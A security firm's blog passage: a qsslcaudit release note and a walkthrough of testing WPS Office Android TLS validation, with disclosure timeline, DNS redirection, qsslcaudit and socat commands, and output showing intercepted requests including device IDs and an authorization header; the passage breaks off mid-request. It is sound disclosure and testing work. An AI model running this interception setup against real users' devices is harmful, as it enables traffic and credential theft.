qsslcaudit

qsslcaudit release v0.8.3

pavel — Mon, 12 Apr 2021 13:55:20 +0000

qsslcaudit release v0.8.3

A new version has been released of our tool which we use to assess TLS clients security: v0.8.3.

The corresponding packages for various Ubuntu versions are prepared in ppa:gremwell/qsslcaudit. Packaging for Kali is handled by Kali maintainers.

Each time you dive into the process of TLS handshake you figure out that there is much more deeper. This time several minor improvements have been implemented to address unexpected outcomes which we observed.

For instance: set SAN (subject alternative name) when crafting a custom certificate, set expiration time to 1 year instead of 10, use SHA256 digest to sign the certificate. Without these changes modern browsers (and WebViews) will not trust a certificate even if it is signed by the trusted authority.

As was mentioned in Github issue, there are clients which may not trust any of ciphers provided by our rogue TLS server. This case has to be handled separately.

We believe that there still many hidden "gems" in the TLS world from its practical perspective, thus, expect new releases.

pavel Mon, 04/12/2021 - 15:55

Client-side TLS implementation assessment with qsslcaudit - The WPS Office case

pavel — Fri, 28 Feb 2020 15:24:51 +0000

Client-side TLS implementation assessment with qsslcaudit - The WPS Office case

Preface

In this post we demonstrate how to use our tool to assess client-side TLS implementation: qsslcaudit. qsslcaudit helps determine if a TLS client (mobile application, standalone application, web service) properly validates server's certificate and if only secure protocols are supported. Issues in TLS implementation can be abused by attackers to intercept victim's traffic: extract sensitive information, alter client's requests or server's responses and so on.

Basic information on how to use the tool can be found in its README file. However, we believe that the best demo is real-world test scenario against existing and widely used application. For this demo, we chose to target KingSoft WPS Office Android mobile application.

The issues described here are still not fixed at the time of this writing. We reported them to KingSoft via HackerOne, issues were confirmed but not fixed. Then we reported them to Google, got a reply that this is a known problem as it was reported earlier. Given that Kingsoft developers are aware of it but chose not to fix it, and that Google and some bug bounty hunters also know about this issue, we decided to report it publicly. At least WPS Office users (**over 1.3 billion users** per Google Play Store estimates) will be aware of the risks of using it.

Timeline:

27 September 2019. Reported to KingSoft via HackerOne.
30 September 2019. KingSoft triaged the issue with comment: Confirmed to be fixed. SSL implementation.
22 December 2019. Added reminder that the issues are still not fixed.
27 January 2020. Reported to Google via HackerOne Google Play Security Reward Program.
28 January 2020. Google replied that the report is being reviewed.
3 February 2020. Google closed the report as duplicate.

Testing for client-side TLS implementation flaws

Here we describe the approach we follow when testing mobile applications regarding security of the connections they make to upstream servers.

Setup

We installed WPS Office application from the Play Store. The application version was 12.3.5: [geshifilter-]adb shell dumpsys package cn.wps.moffice_eng | grep -B1 versionName versionCode=352 targetSdk=28 versionName=12.3.5[/geshifilter-]

Traffic analysis

We configure our test laptop as WiFi access point for the mobile device running the application. We start capturing the traffic on wireless interface, launch the application and use all available features.

The idea of this exercise is to determine when the application establishes unencrypted connections or emits unusual type of traffic. If unencrypted communications have been found we investigate them separately. This is not discussed in this post.

WPS Office is quite talkative and establishes a large number of connections to various servers. We did not identify non-standard protocols, however, there were plenty of clear-text HTTP connections observed. For instance, the one that sends information about the device and application version:

This is a separate issue to investigate, the objective here is to practice our client-side TLS implementation assessment skills. Let's write down the list of HTTPS servers the application connects to:

dw-online.ksosoft.com
shuc-android.ksord.com
plugin-server.wps.com
movip.wps.com
graph.facebook.com
service-api.kingsoft-office-service.com
cloudservice14.kingsoft-office-service.com
store.wps.com
abroad-ad.kingsoft-office-service.com
firstpage.kingsoft-office-service.com
api-ad-adapter.wps.com
activity.wps.com
shuc-js.ksord.com
web.mo.wpscdn.cn
drive.wps.com
account.wps.com
androidweb.wps.com

As can be seen there are a plenty of hosts in this list and it's not even complete. So in order to keep this blog post short and readable, we will only assess a subset of the application's functionality.

On fresh start WPS Office application displays the privacy policy agreement screen with the only option to agree with it. Once you agreed, the next screen allows you to "Start WPS Office" or "Login in WPS Office" (if you slide right). Login function is interesting. If you select it the application displays various ways of logging in, along with a "Sign up" link. Clicking "Sign up" opens a screen which allows you to create an account in "WPS Services".

Let's focus on the account creation flow.

Client-side TLS implementation

In order to perform the assessment of client-side TLS implementation we need to redirect connections made by the client towards our software. This can be done in several ways which are higly dependent on your setup.

This time we chose to alter the DNS responses. The reason is that the target systems have several alternating IP addresses which could change. By altering the DNS response we can be sure that the application will connect to our listener.

We used create_ap to setup a WiFi access point. Its command line option -d tells DNS server (dnsmasq) to take into account /etc/hosts file. Thus, we can simply add the entries we want into /etc/hosts. For instance, if we want to catch connections made towards dw-online.ksosoft.com we add the following entry:

192.168.12.1 dw-online.ksosoft.com

Where `192.168.12.1` is the default IP address assigned to our wireless interface by `create_ap`.

We then launch qsslcaudit with proper set of options:

sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com+chain.pem --user-key subdomain.gremwell.com.key --selected-tests certs --user-cn dw-online.ksosoft.com

Let's explain each parameter used:

-l 0.0.0.0 listen on all interfaces as the connections come from the outside (we can specify the IP of wireless interface here as well).
-p 443 listen on 443 port as we used /etc/hosts approach and the connection will be made to the original TCP port. This also requires to run qsslcaudit with superuser privileges.
--user-cert subdomain.gremwell.com+chain.pem --user-key subdomain.gremwell.com.key the certificate here is the perfectly valid certificate issued by a trusted certificate authority to subdomain.gremwell.com hostname. In one of the tests the tool will present this certificate. Despite the fact that the certificate is valid the client has to refuse to connect to it as it is issued to another common name. Without providing such certificate the tool will just omit the corresponding test and will present self-signed certificates only.
--user-cn dw-online.ksosoft.com the tool will issue self-signed certificates for "dw-online.ksosoft.com" common name. This way we can test if the client trusts any certificate with a valid common name.
--selected-tests certs limit to certificate validation tests only. We skip protocols support test just to keep our post short.

A bit more on qsslcaudit usage. Remember that we are testing client-side implementation, each separate test requires a new connection made by the client. Thus, we need to trigger such connections ourselves explicitly by pressing buttons/clicking links or just waiting for the client to retry connection.

We are almost ready to launch the test. In this case there is another caveat: the application uses HTTP service of dw-online.ksosoft.com too. We are not really interested for now in the traffic interception and investigation, but in order to keep the application logic fine, we have to properly handle this connection. The easiest way is to use socat to forward traffic received on port TCP/80 to the legitimate server, like this:

sudo socat TCP4-LISTEN:80,fork,reuseaddr TCP4:18.185.165.181:80

dw-online.ksosoft.com

qsslcaudit produced the following output:

sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com_cert+chain.pem --user-key subdomain.gremwell.com.key --selected-tests certs --user-cn dw-online.ksosoft.com

preparing selected tests...

        skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate

        skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate

        CVE-2020-0601: no CA certificate provided

        skipping test: test for trusting certificate signed by private key with custom curve

SSL library used: OpenSSL 1.0.2u  20 Dec 2019

running test #1: certificate trust test with user-supplied certificate

listening on 0.0.0.0:443

connection from: 192.168.12.118:33468

SSL connection established

received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1

accept: */*

connection: Keep-Alive

Accept-Encoding: gzip

Charset: UTF-8

User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36

Host: dw-online.ksosoft.com

Content-Type: application/json

Content-Length: 161

{"appVersion":"12.3.5","channel":"en00001","abTestVersion":0,"sendUrlVersion":0,"transportControlVersion":0,"eventsVersion":0,"abTestName":"","abTestGroupId":""}

disconnected

report:

test failed, client accepted fake certificate, data was intercepted

test finished

running test #2: certificate trust test with self-signed certificate for user-supplied common name

listening on 0.0.0.0:443

connection from: 192.168.12.118:53873

SSL connection established

received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1

accept: */*

connection: Keep-Alive

Accept-Encoding: gzip

Charset: UTF-8

User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36

Host: dw-online.ksosoft.com

Content-Type: application/json

Content-Length: 161

{"appVersion":"12.3.5","channel":"en00001","abTestVersion":0,"sendUrlVersion":0,"transportControlVersion":0,"eventsVersion":0,"abTestName":"","abTestGroupId":""}

disconnected

report:

test failed, client accepted fake certificate, data was intercepted

test finished

running test #3: certificate trust test with self-signed certificate for www.example.com

listening on 0.0.0.0:443

connection from: 192.168.12.118:52806

SSL connection established

received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1

accept: */*

connection: Keep-Alive

Accept-Encoding: gzip

Charset: UTF-8

User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36

Host: dw-online.ksosoft.com

Content-Type: application/json

Content-Length: 161

{"appVersion":"12.3.5","channel":"en00001","abTestVersion":0,"sendUrlVersion":0,"transportControlVersion":0,"eventsVersion":0,"abTestName":"","abTestGroupId":""}

disconnected

report:

test failed, client accepted fake certificate, data was intercepted

test finished

running test #4: certificate trust test with user-supplied common name signed by user-supplied certificate

listening on 0.0.0.0:443

connection from: 192.168.12.118:36898

SSL connection established

received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1

accept: */*

connection: Keep-Alive

Accept-Encoding: gzip

Charset: UTF-8

User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36

Host: dw-online.ksosoft.com

Content-Type: application/json

Content-Length: 161

{"appVersion":"12.3.5","channel":"en00001","abTestVersion":0,"sendUrlVersion":0,"transportControlVersion":0,"eventsVersion":0,"abTestName":"","abTestGroupId":""}

disconnected

report:

test failed, client accepted fake certificate, data was intercepted

test finished

running test #5: certificate trust test with www.example.com common name signed by user-supplied certificate

listening on 0.0.0.0:443

connection from: 192.168.12.118:48969

SSL connection established

received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1

accept: */*

connection: Keep-Alive

Accept-Encoding: gzip

Charset: UTF-8

User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36

Host: dw-online.ksosoft.com

Content-Type: application/json

Content-Length: 161

{"appVersion":"12.3.5","channel":"en00001","abTestVersion":0,"sendUrlVersion":0,"transportControlVersion":0,"eventsVersion":0,"abTestName":"","abTestGroupId":""}

disconnected

report:

test failed, client accepted fake certificate, data was intercepted

test finished

tests results summary table:

+----|------------------------------------|------------|-----------------------------+

| ## |             Test Name              |   Result   |           Comment           | 

+----|------------------------------------|------------|-----------------------------+

|  1 | custom certificate trust           | FAILED !!! | mitm possible               | 

|  2 | self-signed certificate for target | FAILED !!! | -//-                        |

|    |  domain trust                      |            |                             |

|  3 | self-signed certificate for invali | FAILED !!! | -//-                        |

|    | d domain trust                     |            |                             |

|  4 | custom certificate for target doma | FAILED !!! | -//-                        |

|    | in trust                           |            |                             |

|  5 | custom certificate for invalid dom | FAILED !!! | -//-                        |

|    | ain trust                          |            |                             |

+----|------------------------------------|------------|-----------------------------+

most likely all connections were established by the same client

the first connection details:

source host: 192.168.12.118

dtls?: false

ssl errors:

ssl conn established?: true

intercepted data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1

accept: */*

connection: Keep-Alive

Accept-Encoding: gzip

Charset: UTF-8

User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36

Host: dw-online.ksosoft.com

Content-Type: application/json

Content-Length: 161

{"appVersion":"12.3.5","channel":"en00001","abTestVersion":0,"sendUrlVersion":0,"transportControlVersion":0,"eventsVersion":0,"abTestName":"","abTestGroupId":""}

received data, bytes: 854

transmitted data, bytes: 5567

protocol: TLSv1.2

accepted ciphers: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_DHE_RSA_WITH_AES_128_GCM_SHA256:TLS_DHE_RSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_DHE_RSA_WITH_AES_128_CBC_SHA:TLS_DHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_RC4_128_SHA:TLS_ECDHE_RSA_WITH_RC4_128_SHA:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_RC4_128_SHA:TLS_EMPTY_RENEGOTIATION_INFO_SCSV

ALPN: http/1.1

qsslcaudit version: 0.8.1

You can already see from this output that we spotted an issue. But let's explain this output.

At first after launch the tool prepares all the selected tests. It feeds each test with user-supplied parameters and the test decides if it has all necessary data to be launched. For those tests that can not be run with the provided settings the tool prints the corresponding message:

preparing selected tests...

        skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate

        skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate

        CVE-2020-0601: no CA certificate provided

        skipping test: test for trusting certificate signed by private key with custom curve

Then it prints the OpenSSL library version used. It is important to verify it if some tests are unable to launch. This should be "1.0.2" version, like this one:

SSL library used: OpenSSL 1.0.2u  20 Dec 2019

After that the tool executes each test one by one. For each test a TLS listener is launched on the provided socket. The listener is configured with settings and certificates according to the current test. When the client connects to the listener and the TLS handshake is completed, the test is considered as done and the following output is printed:

Running test #1: certificate trust test with user-supplied certificate

listening on 0.0.0.0:443

connection from: 192.168.12.118:33468

SSL connection established

received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1

accept: */*

connection: Keep-Alive

Accept-Encoding: gzip

Charset: UTF-8

User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36

Host: dw-online.ksosoft.com

Content-Type: application/json

Content-Length: 161

{"appVersion":"12.3.5","channel":"en00001","abTestVersion":0,"sendUrlVersion":0,"transportControlVersion":0,"eventsVersion":0,"abTestName":"","abTestGroupId":""}

disconnected

report:

test failed, client accepted fake certificate, data was intercepted

test finished

In this case the client connected from 192.168.12.118 IP, agreed to establish the TLS connection and sent some data (HTTP POST request). The tool remembers the results and runs the next test.

Once all tests are completed the tool outputs a summary table like the one shown above. In fact, it is coloured, so one can easily identify if something was spotted:

Then the tool attempts to compare all incoming connections and decide if they were made by the same TLS client. This becomes useful if it is not possible to isolate network and some unexpected connections can be received. Lastly qsslcaudit prints a fingerprint of the first connection (and others, if they are different). Such fingerprint can be used to double-check that the expected client was caught. The most useful field in this case is server name indication (SNI). However, WPS Office did not use such:

most likely all connections were established by the same client

the first connection details:

source host: 192.168.12.118

dtls?: false

ssl errors: 

ssl conn established?: true

intercepted data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1

accept: */*

connection: Keep-Alive

Accept-Encoding: gzip

Charset: UTF-8

User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36

Host: dw-online.ksosoft.com

Content-Type: application/json

Content-Length: 161

{"appVersion":"12.3.5","channel":"en00001","abTestVersion":0,"sendUrlVersion":0,"transportControlVersion":0,"eventsVersion":0,"abTestName":"","abTestGroupId":""}

received data, bytes: 854

transmitted data, bytes: 5567

protocol: TLSv1.2

accepted ciphers: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_DHE_RSA_WITH_AES_128_GCM_SHA256:TLS_DHE_RSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_DHE_RSA_WITH_AES_128_CBC_SHA:TLS_DHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_RC4_128_SHA:TLS_ECDHE_RSA_WITH_RC4_128_SHA:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_RC4_128_SHA:TLS_EMPTY_RENEGOTIATION_INFO_SCSV

ALPN: http/1.1

From the obtained output we can conclude that WPS Office application does not properly verify TLS certificate when connecting to https://dw-online.ksosoft.com/. This is certainly a finding as suitably positioned attacker can intercept the connection, steal and alter data in transit. However, its severity depends on what type of traffic is transmitted and how the responses are interpreted by the application. During an assessment this has to be evaluated, but right now we are just demonstrating how to use qsslcaudit.

shuc-android.ksord.com

qsslcaudit produced the following output:

$ sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com_cert+chain.pem --user-key subdomain.gremwell.com.key --selected-tests certs --user-cn shuc-android.ksord.com

preparing selected tests...

        skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate

        skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate

        CVE-2020-0601: no CA certificate provided

        skipping test: test for trusting certificate signed by private key with custom curve

SSL library used: OpenSSL 1.0.2u  20 Dec 2019

...skipping for brevity...

tests results summary table:

+----|------------------------------------|------------|-----------------------------+

| ## |             Test Name              |   Result   |           Comment           | 

+----|------------------------------------|------------|-----------------------------+

|  1 | custom certificate trust           | FAILED !!! | mitm possible               | 

|  2 | self-signed certificate for target | FAILED !!! | -//-                        | 

|    |  domain trust                      |            |                             | 

|  3 | self-signed certificate for invali | FAILED !!! | -//-                        | 

|    | d domain trust                     |            |                             | 

|  4 | custom certificate for target doma | FAILED !!! | -//-                        | 

|    | in trust                           |            |                             | 

|  5 | custom certificate for invalid dom | FAILED !!! | -//-                        | 

|    | ain trust                          |            |                             | 

+----|------------------------------------|------------|-----------------------------+

most likely all connections were established by the same client

the first connection details:

source host: 192.168.12.118

dtls?: false

ssl errors: 

ssl conn established?: true

intercepted data: POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

accept: */*

connection: Keep-Alive

Accept-Encoding: gzip

Charset: UTF-8

User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36

Host: shuc-android.ksord.com

Content-Length: 3500

eyJfcCI6 ...skipping for brevity...

received data, bytes: 4172

transmitted data, bytes: 5567

protocol: TLSv1.2

accepted ciphers: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_DHE_RSA_WITH_AES_128_GCM_SHA256:TLS_DHE_RSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_DHE_RSA_WITH_AES_128_CBC_SHA:TLS_DHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_RC4_128_SHA:TLS_ECDHE_RSA_WITH_RC4_128_SHA:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_RC4_128_SHA:TLS_EMPTY_RENEGOTIATION_INFO_SCSV

ALPN: http/1.1

qsslcaudit version: 0.8.1

As can be seen, again, the certificates were not validated. The data posted contained even more information about the device used.

plugin-server.wps.com

qsslcaudit produced the following output:

$ sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com_cert+chain.pem --user-key subdomain.gremwell.com.key --selected-tests certs --user-cn plugin-server.wps.com

preparing selected tests...

        skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate

        skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate

        CVE-2020-0601: no CA certificate provided

        skipping test: test for trusting certificate signed by private key with custom curve

SSL library used: OpenSSL 1.0.2u  20 Dec 2019

running test #1: certificate trust test with user-supplied certificate

listening on 0.0.0.0:443

connection from: 192.168.12.118:45530

SSL connection established

socket error: The TLS/SSL connection has been closed (#1)

socket error: The remote host closed the connection (#1)

no unencrypted data received (The remote host closed the connection)

disconnected

report:

HTTPS client did not accept fake certificate without explicit error message

test finished

running test #2: certificate trust test with self-signed certificate for user-supplied common name

listening on 0.0.0.0:443

connection from: 192.168.12.118:49821

SSL connection established

received data: GET /client/com.wps.ovs.docer/version?appVersion=12.3.5&hostVersion=1005011&pluginVersion=1&deviceId=aaa66681948902838109382338857706 HTTP/1.1

Connection: Keep-Alive

timeStamp: 1582799122

client: com.wps.ovs.docer

sign: be9c6715fef4320438462222ca1ab20f

User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-A310F Build/MMB29K)

Host: plugin-server.wps.com

Accept-Encoding: gzip

disconnected

report:

test failed, client accepted fake certificate, data was intercepted

test finished

running test #3: certificate trust test with self-signed certificate for www.example.com

listening on 0.0.0.0:443

connection from: 192.168.12.118:35038

SSL connection established

socket error: The TLS/SSL connection has been closed (#1)

socket error: The remote host closed the connection (#1)

no unencrypted data received (The remote host closed the connection)

disconnected

report:

HTTPS client did not accept fake certificate without explicit error message

test finished

running test #4: certificate trust test with user-supplied common name signed by user-supplied certificate

listening on 0.0.0.0:443

connection from: 192.168.12.118:56326

SSL connection established

received data: GET /client/com.wps.ovs.docer/version?appVersion=12.3.5&hostVersion=1005011&pluginVersion=1&deviceId=aaa02935789133279734867793581560 HTTP/1.1

Connection: Keep-Alive

timeStamp: 1582799215

client: com.wps.ovs.docer

sign: 08db428254c47e2fd5603fb928fe2d23

User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-A310F Build/MMB29K)

Host: plugin-server.wps.com

Accept-Encoding: gzip

disconnected

report:

test failed, client accepted fake certificate, data was intercepted

test finished

running test #5: certificate trust test with www.example.com common name signed by user-supplied certificate

listening on 0.0.0.0:443

connection from: 192.168.12.118:57738

SSL connection established

socket error: The TLS/SSL connection has been closed (#1)

socket error: The remote host closed the connection (#1)

no unencrypted data received (The remote host closed the connection)

disconnected

report:

HTTPS client did not accept fake certificate without explicit error message

test finished

tests results summary table:

+----|------------------------------------|------------|-----------------------------+

| ## |             Test Name              |   Result   |           Comment           |

+----|------------------------------------|------------|-----------------------------+

|  1 | custom certificate trust           |   PASSED   |                             |

|  2 | self-signed certificate for target | FAILED !!! | mitm possible               |

|    |  domain trust                      |            |                             |

|  3 | self-signed certificate for invali |   PASSED   |                             |

|    | d domain trust                     |            |                             |

|  4 | custom certificate for target doma | FAILED !!! | mitm possible               |

|    | in trust                           |            |                             |

|  5 | custom certificate for invalid dom |   PASSED   |                             |

|    | ain trust                          |            |                             |

+----|------------------------------------|------------|-----------------------------+

most likely all connections were established by the same client

the first connection details:

source host: 192.168.12.118

dtls?: false

ssl errors: The TLS/SSL connection has been closed The remote host closed the connection

ssl conn established?: true

socket errors ids: 1 1

received data, bytes: 344

transmitted data, bytes: 5583

protocol: TLSv1.2

accepted ciphers: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_DHE_RSA_WITH_AES_128_GCM_SHA256:TLS_DHE_RSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_DHE_RSA_WITH_AES_128_CBC_SHA:TLS_DHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_RC4_128_SHA:TLS_ECDHE_RSA_WITH_RC4_128_SHA:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_RC4_128_SHA:TLS_EMPTY_RENEGOTIATION_INFO_SCSV

SNI: plugin-server.wps.com

ALPN: http/1.1

qsslcaudit version: 0.8.1

This result is interesting! Usually the applications we test either trust all certificates or properly verify them. In this case the TLS client trusts all the certificates which are issued to the expected common name.

account.wps.com

That is all interesting and already can be (and actually was) reported. But let's intercept more interesting data. During traffic analysis we spotted account.wps.com domain. This is the host that the application uses during the login process. In this case we have to login with WPS account (not Google, Facebook or Dropbox).

qsslcaudit produced the following output:

$ sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com_cert+chain.pem --user-key subdomain.gremwell.com.key --selected-tests certs --user-cn account.wps.com

preparing selected tests...

        skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate

        skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate

        CVE-2020-0601: no CA certificate provided

        skipping test: test for trusting certificate signed by private key with custom curve

SSL library used: OpenSSL 1.0.2u  20 Dec 2019

...skipped for brevity...

tests results summary table:

+----|------------------------------------|------------|-----------------------------+

| ## |             Test Name              |   Result   |           Comment           | 

+----|------------------------------------|------------|-----------------------------+

|  1 | custom certificate trust           | FAILED !!! | mitm possible               | 

|  2 | self-signed certificate for target | FAILED !!! | -//-                        | 

|    |  domain trust                      |            |                             | 

|  3 | self-signed certificate for invali | FAILED !!! | -//-                        | 

|    | d domain trust                     |            |                             | 

|  4 | custom certificate for target doma | FAILED !!! | -//-                        | 

|    | in trust                           |            |                             | 

|  5 | custom certificate for invalid dom | FAILED !!! | -//-                        | 

|    | ain trust                          |            |                             | 

+----|------------------------------------|------------|-----------------------------+

most likely all connections were established by the same client

Nice! But in this case we intercepted only the first connection which does not contain any sensitive information. Let's use qsslcaudit's functionality to forward intercepted data. Do note that it forwards the traffic **inside** TLS channel. Thus, we additionally have to forward clear-text HTTP towards HTTPS, we used socat for that:

socat TCP4-LISTEN:6666,fork,reuseaddr openssl:90.84.192.191:443,verify=0

We also have to select the particular test that allows man-in-the-middle:

$ sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com_cert+chain.pem --user-key subdomain.gremwell.com.key --selected-tests 1 --forward 127.0.0.1:6666 --user-cn account.wps.com

preparing selected tests...

SSL library used: OpenSSL 1.0.2u  20 Dec 2019

running test #1: certificate trust test with user-supplied certificate

listening on 0.0.0.0:443

connection from: 192.168.12.118:49466

forwarding incoming data to the provided proxy

to get test results, relauch this app without 'forward' option

report:

no data received with socket in incorrect state

test finished

tests results summary table:

+----|------------------------------------|------------|-----------------------------+

| ## |             Test Name              |   Result   |           Comment           | 

+----|------------------------------------|------------|-----------------------------+

|  1 | custom certificate trust           | UNDEF ???  | report this case to develop | 

|    |                                    |            | ers                         | 

+----|------------------------------------|------------|-----------------------------+

most likely all connections were established by the same client

the first connection details:

source host: 192.168.12.118

dtls?: false

ssl errors: 

ssl conn established?: false

intercepted data: GET /api/server_ok HTTP/1.1

Content-MD5: ce1f01765892367a5ab8a74fb89b1773

Device-Name: samsung SM-A310F

host: account.wps.com

X-Platform-Language: en-GB

X-Platform: Android-6.0.1

X-App-Version: 12.3.5

X-Client-Ver: Android-WPS Office-12.3.5

X-App-Name: WPS Office

Device-Type: android

X-App-Channel: en00001

User-Agent: qing/2.2.17 (Android-6.0.1;U;en-GB) Version/12.3.5 App/android-office

Accept-Encoding: gzip

Cookie: wpsua=V1BTVUEvMS4wIChhbmRyb2lkLW9mZmljZToxMi4zLjU7YW5kcm9pZDo2LjAuMTs0ZjA1OTFmYTJkMjU5NDcxZGQ2ZDU2OGU4M2Q5OGQwMTpjMkZ0YzNWdVp5QlRUUzFCTXpFd1JnPT0pc2Ftc3VuZy9TTS1BMzEwRg==

Content-Type: application/json; charset=utf-8

Device-Id: 4f0591fa2d259471dd6d568e83d98d01

Date: Thu, 27 Feb 2020 10:53:01 GMT

X-Sdk-Ver: Android-2.2.17

Accept-Language: en-GB

Authorization: WPS-2:AqY7ik9XQ92tvO7+NlCRvA==:e25c94fd1c2e1d5c8b0658008cf7e210c1499215

Connection: Keep-Alive

POST /api/signin HTTP/1.1

Content-MD5: 721f38d1c450e936388850c136e8fe2c

Device-Name: samsung SM-A310F

host: account.wps.com

X-Platform-Language: en-GB

X-Platform: Android-6.0.1

X-App-Version: 12.3.5

X-Client-Ver: Android-WPS Office-12.3.5

X-App-Name: WPS Office

Device-Type: android

X-App-Channel: en00001

